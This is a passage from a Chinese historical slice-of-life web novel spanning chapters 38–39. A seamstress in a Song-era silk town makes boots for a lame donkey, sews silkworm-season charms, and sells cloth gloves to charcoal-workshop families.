“边上去。” “小叶,没听见嘛,叫你边上去。” 林秀水吃鹅腿,笑出了声。 这夜里,一家子都睡得很好,明早有晴朗的日头。 王月兰去辞了工,以后不用再五更天起床,急匆匆起来煮饭,着急忙慌出门去,被支使着先扫地,再搬染架,多干一堆活。 她也可以卯时起来,辰时在上工,期间到南瓦子买新鲜菜蔬,煮给三个孩子吃,给林秀水搭把手,帮她一道收摊。 当然没出两日,大伙就知道她换了行当,不去染肆里头,进了丝行里,虽说不知道工钱,但总归羡慕。 陈桂花打量王月兰,头一次不再跟她呛声,很认真地问:“这行当你怎么进去的?” “靠有个外甥女,”王月兰话语平淡,面上那笑满满溢出来。 陈桂花气得恨恨跺脚,怪她没有个外甥女,真是气人,怪她家那个死鬼姓什么不好,偏偏姓吴。她要给她儿子改名,不姓吴了,姓应去,叫应有尽有,她还怕以后享不了福。 王月兰换行当的事情被热议了一番,而林秀水也被大伙问了一通,她被吵得耳朵疼,赶紧上南瓦子里去了。 别看时辰早,猫狗都窝在屋檐下打盹,可人都早早上工,南瓦子的路岐人早冒了汗,在那耍杂技。 林秀水到的时候,春大娘早已领着这帮孩子们,在街头吃馒头,吊吊嗓子,准备晚些时候开唱。 见了她来,大家很欢喜,春大娘赶紧塞给她个半冷的馒头,“吃一口先。” 林秀水推回去,“我刚吃完,大娘你来,我跟你说件事。” 她还记挂着这帮孩子,先前春大娘让她做乔宅眷的衣裳,她做了好几日,其间缝补的活计便有心无力,后头再做了一套,便说缓缓,她发觉自己两头赚忙不过来。 这回她倒是有了个出路,她站到边上,让挑担的人过去后,跟春大娘说:“我眼下在估衣铺有了相熟的人,那边有不少旧衣,给她们这种身形穿得也有不少,我去瞧过一眼,虽说衣裳有些破处,但是毕竟便宜,补一补就行。” “一套衣裳大概五百来文,给我二三十补衣裳的钱,要实在过意不去,再给我五文脚费,买粗布的两三贯钱,能给她们置办出不错的行头,五日内,能叫大家都有行头穿。” 刘牙嫂开的估衣铺,她下工时去瞧过了,虽说破洞裂处有些多,但是那都是大户人家里出来的好东西,料子不错,花样好看,补一补照旧时新。刘牙嫂给她的是实诚价,她先给小荷置办了身。 春大娘听闻此话,差点没握稳手里的馒头,结结巴巴地说:“真只要那么些钱?” “那当然,叫她们早些混口饭吃。” 春大娘连同一群瘦巴巴的女童,连声谢她,要给她行大礼,林秀水赶紧走了,回过头来说:“可别谢我,等瞧见了衣裳再说,有空到我那量一量身段。” 谢来谢去,怪累的,林秀水可听不惯,这她能相帮的,可不就帮一把,叫大家都能吃饱饭。 但有些吧,她真也不是那么想帮,并且觉得人家吃饱饭没事做。 比如大早上,她看着眼前这头瘸腿的驴,听男人说做个让它瞧起来好看,且不那么瘸的腿套。 林秀水摸了摸脸,她说:“我真想上东头那治牛马的学上两手了。” 那沧桑的男子是个半聋,只听治牛马,他连忙摇头说:“我这是头驴,驴,驴子的驴。” “我晓得,我眼神好得很。” “能好得很,”那男子一拍手,满脸高兴,“那我没来错地方,我这也真是歪打正着。” 林秀水想告诉他,什么歪打正着,他只占了一个字,那就是——歪—— 作者有话说:[红心][红心][亲亲][亲亲] 第38章 第 38 章 关于手套的大生意 “我这头驴子叫来福, 它只是说不来人话,但心里啥都懂。” “能干得很,拉水磨能拉许久不歇, 腿为啥瘸了,害,前头河道不止征春夫挖泥, 还征驴子运泥,雨水下得多,路滑就摔折了。” 养驴郎耳朵听不清,得把右耳凑过来, 听闻林秀水的话,毫不在意笑笑,“这瘸了便瘸了, 好歹命还在。” “那你这得上治兽的医铺里瞧,”林秀水冲他耳边大声道,她看了眼那驴子的腿,前腿有一条萎缩了,才走得一瘸一拐。 “用不着那样大声,我听得见,”养驴郎摸摸驴头, 他有些气愤, “我去过了, 上了药用竹板夹住硬绑, 疼得它日夜叫。心眼可坏,当它是头驴子,又说不来人话,下手老狠了。” “我还养了三四头驴子, 那几头总笑话它,我就想啊,人瘸能穿鞋能拄拐,驴瘸也能穿个腿套,遮掩遮掩吧。” “说得挺有道理,”林秀水扶额,“你咋不自个儿做呢?” 养驴郎实话实说:“这不是做得老难看了,我前两日问好多铺子,没人搭理我,路上有人跟我说,其他地方不管用,要上你这来,你这肯定有法子。” “哪个人才给我揽的活?”林秀水当真不解极了。 “有一堆人呢。” 有那么一群人,看热闹不嫌事大,也不看看啥活,一股脑给她揽过来,天杀的。 “我先瞧瞧吧,你大老远过来,我就算做不出,也给你缝个腿套。” 林秀水没 骑过驴,倒是先摸上驴腿了,这腿吊着萎缩的肉,确实瞧着难受,驴难受,养驴的人更难受。 林“兽医”看完,坐下来琢磨,给开了个“方子”,“做只驴鞋先试试,不好用那就只能上别家去了。” 她边画纸样边一样样开方,“鞋面要用麻布的,透气,我给做靴子样式的,鞋底一半木块,一半布头,前面绑带的,边上插两根木片给撑着。” 林秀水说完,将画了一只绑筒靴的纸样推到养驴郎前,点了点道:“没啥问题的,我这边照这样做了,你得出个五十五文的“药费”。” “嫌贵?” “那不是,开四条腿的呗,我瞧来福腿上一只鞋子的,心里多难受,”养驴郎钱还是有的,只他有个毛病,见不得自个身上不成双的东西,他养驴都养四只,衣衫穿八件,凑不齐还得多套双兜袜。 这一只鞋套腿上,比驴子瘸了又下大雨那天还叫他糟心。 一天天的,什么毛病,林秀水这样想养驴郎,而张木匠又这样想她。 张木匠接过纸样,背过手叹气:“我这正经干木活二十来年,也就前年有一起,让我给他儿子雕只大屁股鸡,为此我记了两三年,你这可倒好,一个来月里,没几样正经活计。” “张叔,你得想,管什么活,钱赚到了不就行了,你就说,之前让你雕的大屁股鸡,你赚钱了没?”林秀水反问。 “那倒是赚了不少,”张木匠被她拿话堵住,啥也不想了,走到墙角处去拿锯子。 按林秀水说的高度,用木料给锯出驴蹄样式来,锯的时候想,都是为了养家糊口。 林秀水蹲在木料里挑拣,跟他闲聊,“叔,你儿子呢?” “哪个,小的那个滚泥坑回来,被他娘按在后头一顿好打,大的,”张木匠哼一声,重重拉锯子,“让他跟木行拉料去了,一天天的,有劲没处使,说来真是气人。” 林秀水就不该多问,服了自己这张破嘴,哪壶不开提哪壶。 她接过东西赶紧溜了,回去琢磨驴鞋,鞋这种东西,大差不差,画鞋样,做鞋底、鞋面。 一是纳鞋底,一半用木质鞋底,其实林秀水还想过驴钉铁掌,用铁来做底,但是要价贵,张木匠的两三文。 她用布片糊了鞋垫底,拿出黑色麻布裁鞋片,瘸腿的那只缝两层布,有一层能放木棍。 林秀水纳鞋底一般,王月兰帮她纳的,劲大,缝得又细密,做鞋也是好手,只是缝的时候老嘀咕,“你到底哪瞧来的?前头要开那么多个小口给左右绑起来,你要不是在成衣铺,我还当你在双线行里做活的。” 这话没法接,林秀水当自个儿没听见,左右这四只样式古怪的长筒靴,在王月兰的帮忙下,算是终于做完了。 小荷要看驴穿靴,觉得小叶也想瞧,大早上顶着乱糟糟的头发,将呼噜呼噜睡大觉的猫一把揣来,站到桑树口看驴子穿鞋。 不止她,还有先前特意给养驴郎点明方向,让他上这来的一群“好心人”。 卖生花的大娘打着哈欠说:“我们这活了半辈子,也没见驴要穿鞋的,我昨晚睡也睡不着,报晓僧还没来,我就醒了。” “我还要修两个鸟笼,也顾不得上,先来瞧一眼再说,诺,阿俏,这是我家大儿小女,你还没见过吧,”街头修飞禽笼的男子边说,拉了拉身前一双儿女。 林秀水早已明白这群人,有些平时不出现,但凡有热闹瞧,一个蹦得比一个勤快。 养驴郎看大清早的,天光才亮,忽然冒出这么多人紧紧盯着他,背后毛毛的,手里握着那只高木底的麻布长筒靴,小心翼翼地说:“那我穿了啊。” “穿穿穿,正等着呢。” “快些,我家里灶上还炖着东西呢。” 养驴郎连连点头,给来福喂了些豆腐渣,叫它躺倒,抖着手将鞋子的绑带解开,小心套到腿上去。 没法子,一堆脑袋凑过来,别说他,来福都吓得打了个响鼻。 等它穿好鞋,黑鞋在腿上不大显眼,它毛黑。 但众人很兴奋,忙催促养驴郎,“快牵起来走两步。” 来福穿上鞋后,走得东倒西歪,像喝了假酒,尤其瘸的腿,明明鞋筒两边的竹木撑着,底下的脚掌能触到地了。 林秀水摸摸下巴,看来福走得鞋子一踢一踏的,完全沉浸在自己的思绪里,鞋子没绑好?穿着难受?她给瘸腿包了软丝绵,走得应当没有这么难受才是。 “我觉得是鞋子要再软和些,”有个娘子蹲下来瞧那驴腿。 大伙纷纷出主意,大家其实也不是想瞧驴穿鞋,而是想看它不瘸。 另一个医飞禽的郎中说:“你看它那腿,跟人拄拐杖一样,要撑着嘛,阿俏,你拿绳子来,我绑到它身上试试看。” 他将软绳穿过靴子,一前一后系到来福身上,有娘子将那靴子绑紧,再塞点东西进去,一番摆弄后,养驴郎摸摸来福的脑袋,“好来福,你再走两步给大伙瞧瞧。” 来福又走了两步,刚开始走得颤颤巍巍,而后绕着树走了两圈,踢踏着蹄子,慢慢走得顺畅,甩甩脑袋。而后那条瘸腿,竟能使得上劲,走一两步,不再瘸得厉害,等它适应后,说不准能跟从前走得一般。 小孩欢呼,其他人满面笑容,大清早的,该上工的不上工,该不睡觉的不睡觉,在这欢庆一头驴能走路。 养驴郎牵着驴过来,跟大家,跟林秀水道谢,林秀水摇摇头说:“我就做双鞋,谢大家也一道帮忙吧。” “都谢都谢,”养驴郎大声说,原本他还想着有人会笑他,给驴做腿套,没想到大家伙这么热心。 有人摸摸驴说:“可别叫它再拉磨了,让这驴也歇歇吧。” 养驴郎说:“我好好养着它呢,养它到老,驴能活好些年,没了我,还有我儿子养它哩。” 穿了鞋,在养驴郎眼里,那跟人可差不多,他家来福只是不会说人话。 当然后来,来福腿不再那么瘸了,能走得动远道,跟养驴郎回到山里去了,再见它时,总是做新鞋的时候。 反正很多年以后,林秀水都还能再见到它。 而这之后,林秀水总想跟治飞禽牛马的郎中学上两手,被几家劝走了,只告诉她一句话,“隔行如隔山。” 她压根不相信,顶多隔条河,没有隔座山,她说隔的是她后门的小河,她会划船,人家说隔的是西湖、钱塘江,简直大煞她威风。 当然也有说话好听的,说她确实有治兽的本事,还可厉害,林秀水一问,说她治的是纸鸢、泥猫、布老虎,一治一个准。 林秀水闻言还想,照他们这个说法,那她岂不是还会治人,偶人、绢人,反正都不是人。 但也说实话,她确实不是学治牲畜的料,尤其还叫她去抓鹅,她扭头便走。 回去后,王月兰收拾东西去上工,三月丝行里忙,要将上年收的下等茧子全部煮了,剥下来做绵兜,给新丝腾地方。 她干了两日,哪怕累也走路带风,每次都要早些上工,说丝行里的人都挺照顾她。 三四月也是桑青镇里最忙的两月,进到蚕月里,往来船只大多运桑种桑肥,街上卖红彩纸剪的蚕花,卖泥猫,卖蚕猫图,卖竹猫儿,蚕花菩萨庙里日夜有人供香火。 来往人家养蚕的不养蚕的,都要说上一句:保佑蚕花廿(niàn)四分。 蚕花是蚕茧的收成,眼下镇里养的是眠蚕,还是四眠蚕,是顶好的蚕种,这种蚕一斤能出八斤的蚕茧,廿四分则是希望出更多的蚕茧。 而这些时候,林秀水接的活便大多跟蚕桑相关。 比如起早,有两位娘子风风火火跑来,其中一个举着张蚕猫图,老远便喊:“阿俏,我有个活你快帮我做做。” “你帮我把这两张蚕猫图,小心缝到衣裳后背去,别扯破了。” 林秀水不解,“这不糊墙上就行,怎么还要缝衣裳背后。” “你不懂,今日是危日,画的蚕猫最好,能镇住老鼠,把它们吓得远远的,”金娘子小心放下蚕猫图,这她可排了许久,今日城门口那家画猫的生意老好了。 金娘子小声抱怨道:“我家里有两位阿妹,都是嫁到桑林坡那养蚕的人家里,就指望着这几个月里蚕桑出得多,赚些银钱来,还和买绢的债。” “这几年借和买绢的钱,贷来养蚕的算是亏死了,绢布价钱年年涨 ,官府借给她们蚕农的钱半分不涨,想不养蚕都不行。” 林秀水当然知道和买绢,原本倒是好事,官府先支钱给大伙,好叫大家有养蚕的本钱,等蚕出了茧,再织成绢帛抵钱,也被称为预买绢。 但绢价能涨到几贯一匹,但官府给支的银钱连一半的一半都没有,一来一往,蚕农亏本,官府稳赚。 这往衣裳后背缝蚕猫图的,也是图个好意头罢了,林秀水接过,她说:“保准给缝得好好的。” “这衣裳里外都缝,老鼠是不是不进蚕室了,我家阿妹上年蚕出得可不好,我家老娘都愁死了,”金娘子又说。 林秀水取了细线说:“那我给你里头缝只猫儿成不成。” “这样,”金娘子皱眉回想,“你之前不是卖猫头布贴,猫头香囊的,猫儿鞋的,你都给我拿上六份,钱好说,那个什么逗猫的,也来上一点,两百文,没事,你只管拿。” 别人家是卖蚕花生意好,到了林秀水这,是跟猫沾边的生意都骤然变好了,尤其不管姚娘子那边的猫头鞋生意,还是赛大娘那里的猫头香囊,反正都卖得比上个月要好,她几日至少进账五百文。 她缝起纸来小心,生怕纸缝破了,缝完后还同金娘子说:“这缝的我不要钱,只是我在桑林坡也有个认识的友人,是于六娘家,我家里有几只泥猫和蚕猫图等东西,劳烦娘子帮我捎带过去,成不成?” “哪里不成,我肯定帮你带到。” 送走缝好衣裳的金娘子后,林秀水还在自己边上支了个小摊,专门卖各种猫相关的东西,香囊、荷包、猫头鞋、简易布贴、挎包,以及一竹筒的逗猫棒。 让小荷带猫小叶招揽生意,她给小荷涨工钱,给她六文钱还有一包糖块,至于猫的,加一份猫饭。 一人一猫干活可卖力,小荷喊,猫小叶也喵呜喵呜喊,路过的人总被吸引,免不得要买上几份来。 林秀水晚上数钱,很是惊讶,多赚了两百文,她藏钱的小罐子都要满了。 因此林秀水做了个重大决定,她要花钱,买个大罐子,不,大缸。 一是想赚到那么多钱,二是觉得没有哪个贼偷会知道,有人钱会藏大缸里。 当然也没买,大缸太贵了,而且好好的屋子放个缸有点傻。 蚕月不止给林秀水带来生意,也给她带来烦恼,活太多接不完。 “这绣猫在兜袜上,什么老鼠能看见,”林秀水两只手捏着兜袜,她抬起脸,压根无法理解一点。 那大娘指指自己,“我属老鼠的,我给我自个儿瞧。” “那为什么不绣老鼠,绣只猫来?” 大娘一本正经,“我稀罕猫。” “但是吧,话说回来,这猫克鼠,我又不想猫克我,思来想去只好绣兜袜上了。” 林秀水欲言又止,她手指微动,说不出半句来,最后道:“二十文,这里给钱。” “真贵啊,看来猫还是有点小克我啊。” “大娘,你说完了没,到我了,”有个小娘子慌里慌张挤进来,“我跟这位大娘不同,小娘子你给我在这边上绣个蚕花廿四分。” “这是蚕花娘娘像,你叫我在它身上绣字??”林秀水满脸疑惑看她。 “哎呀,拿错了,”那迷糊的小娘子赶紧从兜里掏出另一张布来,“是在这上头绣,你会吧?” 林秀水还真会,她这些日子无论多忙,练字那都是没有放下过的,而且她绣的字,比她写的字要好。 她这会儿立即应了,“保准给你绣好,这字好绣,给个十文钱吧,明日过来拿。” 不过一早上,来的活乱七八糟,她说有些是病急乱投医,一到蚕月里,各种害怕收成。 连成衣铺里也不能幸免。 顾娘子揉揉额头,拍拍面前的这堆衣裳,“退回来的,东边那家说不是很满意。” “哪不满意?”林秀水纳闷,她缝得那么细心,来来回回检查过,连线头也没有,针脚更是不用说,她想不出来哪里有错漏。 顾娘子也是被气乐了,“那家说肯加钱,一是要有配套的香囊,她要放蚕母纸马,二是这领抹,得绣红色蚕花的样式。” “一堆人想蚕有个好收成,想疯了。” 林秀水只关心一件事,“加多少钱?” 有钱才好办事。 “有几百文吧,加多少都给你,你拿去返返工,我头疼。” 林秀水抱起衣裳,准备往里走,顾娘子又喊住她,“阿俏,你过来。” “我忘了说,上林塘、桑林坡还有到西湖边上,正大修水利,要挖渠挖河运土,到谷雨后,你要是清明想回去的,怕是得绕路,起码得走一日。” 林秀水谢了顾娘子,倒是不稀奇,前两天陈九川托人捎了口信给她,她倒是比顾娘子还早知道这事。 每年反正也没少修水利,她只能再等等,陈九川说她爹娘坟前祭祀,他娘和桑英会去的。 下了工,林秀水揉揉酸疼的肩膀,同小春娥姐妹告别,她摇了船,往前头小溜桥后的桑河桥走,刘牙嫂的估衣铺在那,不止估衣铺,衣绢市、布市、丝绵市、生帛市等等都在这一片。 彩衣飘飘,布帛飞扬,这河里所过的船头船尾全是成堆的衣裳,布帛,岸上有许许多多搭彩棚,卖生帛、旧衣的摊子。 林秀水从船里拿出个半人架子,这些日子里,苏巧娘给她雕好了人台,她没拿来做衣裳,先拿到刘牙嫂的估衣铺里,这是按小女童们的身形做的,旧衣合不合适,往上头一套便知。 “这是什么东西?半人不人的,”刘牙嫂疑惑不解。 林秀水拍了拍说:“好东西,我给人家小孩量身形来了。” 不管啥样的衣裳,她拿来,往人架子上一套,哪里腰身大了,哪里的领口不行,哪些套着不好看,一清二楚。 刘牙嫂有些稀罕这东西,“要不,妹啊,你给姐也来一套,最好整个带头的,我还有些那种冠子啊什么的。” “姐,不是不给你弄,我怕吓死个人。” 林秀水也不能瞎答应,还得看人家接不接活呢。 拿了旧衣回去,林秀水挂在院子里散散味,忙到日头渐散,有人敲门,她出去开门,吓一跳,“吓死个人。” “你挖煤回来的?” “还有这种好事,”小春娥第一反应,“要真能挖石炭,一个月能赚两三贯呢。” “哎呀,我难得来一趟,差点被你带偏了,”她拍拍自己漆黑的手,眼神亮晶晶,“我给你寻了笔手套的大生意。” 小春娥说:“那真是前没有人做,后不会有人做的大生意。” 第39章 第 39 章 小荷的两个愿望 这个当口过来, 小春娥坐在院子的长凳上,用巾子擦黑乎乎的脸,洗干净自己的手, 同林秀水说去扫炭粉了。 “扫灰?”林秀水伸手递给她面照子(镜子),“快照照你的脸。” 小春娥接过,站起来同王月兰问好, 又笑眯眯地摸了摸小荷脑袋,连猫小叶也一同友好问候过,才说:“我给你寻的大生意,就跟扫炭粉有关。” 林秀水叫她上屋里说来, 给她端一盘果子来,关了门开了窗子,仍旧是那句话, 关切道:“你做什么名堂?下工不休息,跑去弄炭粉?你要烧炭粉去?” “才去两次,”小春娥好奇打量屋子一番,拉了凳子坐下来,“你这便不懂了吧,我就算想烧,活也轮不到我干, 那都是抢手的活呢。” 小春娥说起自个儿这两日下工干的事, 到清河坞那运炭船上扫炭粉。 关于石炭(煤), 临安府城用炭多, 尤其寒冬里,家家户户要打炭墼(jī),但寻常日子里,用炭也多, 制炭饼、香炭团、冶铁的多。 可临安的石炭少,是从平江府以及东边诸府里买来的,运炭的船在清河坞换官船到内城,船底剩下一堆碎炭、炭粉,便成了桑青镇各香药铺、炭行的抢手货,纷纷雇人扫炭粉。 当然小春娥不是奔着二十来文钱去的,市面上好些炭,各种竹木、 松炭、香炭等等,好些炭她自个儿说,闭着眼睛都能烧好。这回借此机会,想瞧瞧人家炭团怎么做的,不过两日工夫,靠她自个儿本事,混进了炭行里。 “从前只管买炭来烧练手,又有火钳子,风匣、烧火棍等物件,反正也不大脏手,”小春娥回想自己在炭行里的光景,飘扬的全是炭灰,不管男女老少,顶着张黑乎乎的脸,那手跟黑炭一般,常年浸染在炭里,洗也洗不干净。 她想那里的人跟枯炭一般,是烧完的炭灰。 “我在那里干了小半个时辰,想着这弄炭团的活算不上难,要有手套的话,肯定能好受许多。” 小春娥手搭在林秀水肩上,故作笑嘻嘻地问她,“将手套卖给炭行的,是不是前没有人做,后没有人做的大生意?” “是,”林秀水轻轻拍拍她的背,笃定道,“没有比这更大的生意了。” “我手里还有批手套,我们明日一起去看看。” 小春娥犹豫,“那你到时得穿套最不想要的衣衫,戴上包布,掩面盖头去。” 炭行在炭桥那,方向很好认,烧黑烟的那处便是,连河上也飘一层黑灰,那里的路是黑脚印踩出来的,路过的男女都穿黑布衫子,赤着两只黑灰色的手,头脸用黑布包着,或是挑着担,背着炭篓,行色匆匆。 林秀水鼻尖充斥着股沉闷酸苦的气味,成堆燃烧的木炭、石炭,熏得她脑袋疼,可生在炭桥里的孩子,能光着手脚,嘻嘻哈哈跑在这路上,手里捏着炭团玩。 炭行这条路上住了许多人家,家家户户靠炭为生,有拉桑条来制木柴的,有烧制炭火甏儿的,还有卖去年秋的芡壳,供穷苦人家当炭烧的,最多是用米浆和炭粉做炭团的。 小春娥走在林秀水前面,转过头来说:“好些人不大喜欢这,我娘也不许我常待,我哥姐说我犯傻,我却觉得这里真挺好的。” “哪里好?”林秀水问她。 小春娥没急着带她去做买卖,拉她去靠近水边的一个小作坊里,其实只是用竹木搭的棚子,边上围了一圈孩子,林秀水闻到了火药燃烧的味道。 她也踮起脚凑过去瞧,只见地上铺了块大石头,有东西在上面烧,往上喷着火花,不算绚烂,刺刺拉地响,只是烧得很快,小孩子们却欢呼雀跃,喊着再点一个。 里头的那对夫妻也笑,系着黑布巾的女子出来说:“夜里再放给你们瞧,快打炭团去。” 小孩子们背着小篓嘻嘻哈哈跑开,林秀水却从小春娥嘴里知道,这不是做火药的铺子,只是特意学了做的烟火,叫火杨梅的,逗这里孩子玩的。 女子说:“正好这里有许多的炭屑,混了枣肉,加上铁丝,就能做出烟火来,我烧给孩子瞧瞧的,不会烧着的,边上都浇了水。” “图一乐嘛。” 这里图一乐的东西还挺多,有专门做炭雕的,用乌煤雕黑漆漆的乌鸦,眼睛缀上些白米,很精巧,或是做成各种兽炭,里头加了香粉,一块块活灵活现,还有先生用树枝炭灰,在地上写写画画,教孩子画字的。 林秀水所见的,也是小春娥眼里的炭桥人家。 两人逛了逛,才到炭行里头卖手套里去,小春娥昨日帮了炭行里一个娘子,买卖很顺利。 主要小春娥很实诚,自己套上手套,在一堆人的注视下,取了炭灰加米浆以及各种材料,捏了个很规整的炭团来,边捏边说:“我昨儿便说了,肯定好用。” 她取下手套来,手上干干净净的,“你们看吧,真没有沾上。” “这是我裁缝手艺顶好的朋友,”她拉过林秀水,满脸夸耀“买她的东西从没有说过一声亏的,不然我也不会跟你们说了。” “怎么口气跟你自个儿做的一般,”有大娘笑她,去洗了洗手,准备套了试试,发现手洗不干净,又笑着在身上擦了擦,一擦更脏了,她干脆道,“你们看看,干这种活就是脏得很,想干净都没法子,给我来上两双用用。” “我也来两双,”另一个娘子拍拍自己手上的黑灰,“先试试,反正也亏不了,好用我还能给你们吆喝吆喝。” 其他人也抱着或许有些用,买了几双,并跟林秀水说:“我们用不用都行,有没有给小娃的,有的话,多少银无所谓,家里孩子也跟着打炭团呢。” “这两日吧,有多少人要,我只做了大的,”林秀水之前不了解炭行,来了才知道,在炭行里小孩也是跟着一起打炭团。 “我家的要三双小的。” “我先来两双。” 原先给自己买的时候,倒是稀稀拉拉的,说有给小孩的手套,一堆人围上来,掏出钱袋说要买。 林秀水拿的不是油布手套,而是麻布做的,厚了些,给打炭团用正好。 炭行里总有五六百号人,在小春娥的卖力吆喝下,她接了一百二十五人的单子,光定钱收了八百多文,而且这种粗布手套才十文一双,确实是笔大生意。 林秀水从炭行里出来,问小春娥,“你怎么比我还高兴?” “你赚钱了嘛,小孩也有手套了呀,我当然高兴。” 林秀水笑说:“你可没占到便宜,也没有赚到钱啊。” 她真的想分点钱给小春娥,但人家不要,并且振振有词,“我们两个不要谈钱,银钱这种事情分扯不清,伤我们俩的感情。” 所以林秀水花钱买了三筒香炭送给小春娥,小春娥抱在怀里,“我好喜欢,以后熏起这筒香来,第一个想到你。” “那不得以后多送你点,”林秀水说,想着逢年过节都送她香炭,又觉得没新意,打算一定给小春娥寻些炭相关的手艺活计,又觉得没有办法报答,她得到的是很真挚的感情。 她会时时记得,那个在炭行里的傍晚。 当然接了这么多手套的活计,林秀水确实忙不过来,即使王月兰帮她剪手套样子,她缝得再快,桌上都有一堆手套,累得三人都够呛。 这里还有个是小荷,她已经分不清左右了。 林秀水终于决定,她必须找两个帮手,能帮她缝手套的,不管是油布还是粗布。 她找了隔壁张家的陈娘子和张阿婆,给一双手套两文钱的工价,要知道两个人在双线行里做活,纳鞋履的针脚可比她做手套的还要细密。 陈娘子叫陈双花,她手艺顶好,做了许多年的鞋子,缝鞋面、纳鞋底,林秀水的针脚没她的好。 张阿婆更不用说,她之前做平头鞋,眼下都能调到做翘头履的那里去,缝个手套闭着眼也能缝好。 “请我来缝,那我肯定给你缝好,”陈双花连忙答应下来,她要给两个儿子攒娶媳妇的钱,家中里里外外正是要钱的时候。 张阿婆也没二话,还说了句,“我们两个有正经的营生,你交给我们缝什么,我们都不会往外头传。” “你放心,我们只要钱,不图旁的。” 王月兰笑道:“张婆,哪里能信不过你们两个。” 就是因为知道两人为人处世,王月兰才叫林秀水请她们俩帮忙的,有正经营生,双线行里一个月也能赚个两贯,张木匠又赚钱,且两人老实本分。 而林秀水比较关心的是,她们俩一日能有多少空闲,能缝多少东西,她不止手套的营生,还有香囊、猫头鞋这些杂七杂八的活计,前期她自己顶了下来,眼下真吃不消,都打算分摊些出去。 即使多花几十文,至多上百文,她也能多赚一些钱,而且能把生意做大些。 陈双花一晚上加早上能缝二十五双,张阿婆比她多两双,两人缝得又快又好,按双线行里纳鞋履的要求给她缝的。 林秀水一双双看了,没有任何错针或是其他的毛病,长松口气,露出笑容,她按大小一双双放好,给两人付工钱。 婆媳俩拿到钱数了番,一个子一个子的,数完后面上俱有了笑意。她俩确实只管钱,也不管林秀水生意做得怎么样,能不能卖出去,从来 不打听,有活就接,有钱就赚。 而林秀水则将做好的手套,扎捆好,送到炭行里,小孩子们被爹娘领着过来拿,用皂角洗了好几遍。 套上手套都觉得很新奇,抓抓捏捏,一个个去抓炭灰,再悄悄将眼睛凑到手套边上往里看,怎么还是黑乎乎的? “你得把手套脱下来瞧,我手好干净,”有个小孩晃晃手,又小心将手塞回去,挖着炭灰道,“我手干净了,是不是能和其他巷的小孩一起玩了?” “我也想跟大家玩,等我手每天都很干净,身上也干净。” 炭桥的小孩想做个干净的小孩,这个愿望从一双便宜的手套开始小小地实现。 林秀水又接了炭行里的许多生意,她分给陈双花和张阿婆做,她主要忙自己摊子的生意,别人需要手套,但摊子是大伙需要她帮忙。 起早不得闲,她在睡觉,有人在楼下喊她,她在弄布,有人划船到河里,在窗户外头叫她。 “咋个办,阿俏你帮我缝缝,我新买的蚕花散了,不会我今年的收成要散了吧,”卖蚕丝的娘子慌里慌张跑来,差点撞到桌子,又连忙刹住脚,将散了的纸蚕花给她瞧。 蚕丝娘子气极了,狠狠跺脚,“早知道就不到那摊子买了,尽是便宜东西,我下回要再碰着她,非得叫她赔我!” 林秀水刚铺开自己的针线,闻言看她手里散成一团的蚕花,红纸头,倒是能缝,她双手接过来,拼凑样子,又问:“赔什么?” “起码要赔我两朵蚕花吧,我又不坑人家钱,”蚕丝娘子半弯身子凑进来,双手合起来,“阿俏啊阿俏,你给我缝得好些,千万别再散了,我刚才心都差点不跳了,得亏我蹦了两下。” 林秀水摆好花样,她取出红线,小心扎进纸头里,慢慢缝好道:“保管叫娘子你的心,活蹦乱跳回来。” “那倒不用,”蚕丝娘子告诉她,“我刚才跑过来,这会儿蹦得可厉害,让我这心歇歇吧。”等林秀水缝完,原本原样地将蚕花递给她,蚕丝娘子小心接过,给了钱便跑,边跑边回头喊:“我急着上蚕花菩萨庙里,我得拜拜去。” “悠着点吧,”林秀水嘟囔,“这不刚还说要歇歇吗。” 林秀水将红线绕回去,此时她头顶的桑叶发出新芽,新绿色,瞧着跟她的招幌特别配。 “你说,这桑叶绿能不能染出来?” 有个浑身穿了绿色,只有头顶发巾不是绿的男子过来,仰头瞧着那桑叶,背着手嘴里问道。 林秀水看了眼,嫩绿的确实好看,她瞥了眼那绿男,低头收拾东西。 那绿衣男在她摊子上打转,忽然有了个主意,“要不,” “染不出。” “我还没说呢,谁叫你染了,”绿衣男咳了咳,指指那桑叶,“我是说,要不我搭个梯子上去,把桑叶摘下来,你给我缝到衣裳上去呗。” 林秀水微笑,“可以,我还可以去桑行找人来帮你一起摘,怎么样?” “不怎么样。” 绿衣男连连摇头,桑行的人估计会把他种到桑树边,让他日夜看着桑叶,一群顽固爱桑的人,哼。 “算了,你把摊子上绿布拿出来,给我挑挑,我想做件全是不同绿的百家衣。” 林秀水抬头看他,人倒是不高,但是壮啊,她上哪给凑那么多绿布。 “顶多给你做个头巾,你要不要?” 绿衣男看她,“不要。” 他一本正经,“大伙说我戴绿头巾,像绿头鸭。” 林秀水很想说,不戴也像。 当然最后这个钟爱绿色的男人,将所有绿沾边的布,全买走了,他说他要拼一件别人想不到的绿衣裳出来,林秀水祝他成功。 等他走后,林秀水接了好几单缝补的活计,倒是比较轻便,大多是缝蚕匾的,或是跟蚕相关的,最多知道她识点字了,让她绣点跟蚕相关的字。 最过分的是,许了一个十分具体的愿望,什么希望蚕神娘娘保佑,让她家的蚕花今年收成大涨……信女家住桑桥渡桑河畔打头第六家…… 林秀水当场拒绝了,觉得人家在气她。 她压根不认识这么多字,也不会写,百家姓都还没认识齐全呢。 她发誓,她要好好读书认字,下次再来这种活,当场写给别人看。 到后头,她补完一件开裂的薄衫,早就过来的春大娘才凑过来说:“阿俏,我们社能登台子了。” 春大娘语气有难以压抑住的喜悦,跑过来的,发髻也乱了,将捏着的手里的招子小心放下来,擦了擦手里的汗。 林秀水惊讶,“真的啊?我瞧瞧,大娘你们可真了不起。” 招子是瓦舍里张贴出来的布告,意思告诉来赏玩的大伙,今日或明日有谁登台。 她从上先看起,一路看到最底下,才看见最后一行字,小女童象生叫声社,乔宅眷、乔迎亲、学乡谈。 林秀水也跟春大娘一般,有些激动,毕竟为了让大家能尽快混口饭吃,她去估衣铺里要的成衣,一件件重新裁过,一点点补好,让它们从不合身到合身,从破衫到能登台子的时新衣裳。 也看这群小孩,在街头占着边角卖艺,到有几个能进南瓦子的,登台表演。 她们几个登台的时候,林秀水带小荷、王月兰一同去瞧的,没有好位置,站在最边上,踮脚向前张望。 等到夜深,亮起许多灯笼,才见她们模样整齐,精神地出来,又唱又演,尤其是乔迎亲,将媒婆那东走西瞧,这边说好话,那边说好话,最后一屁股坐在地上,大喊:“哎呦,苍天,怎么偏我这半吊子做了媒婆子,我可不会说好话啊,哎呀郎君,你一表人才玉树临风…娘子你是貌美如花,花容月貌” 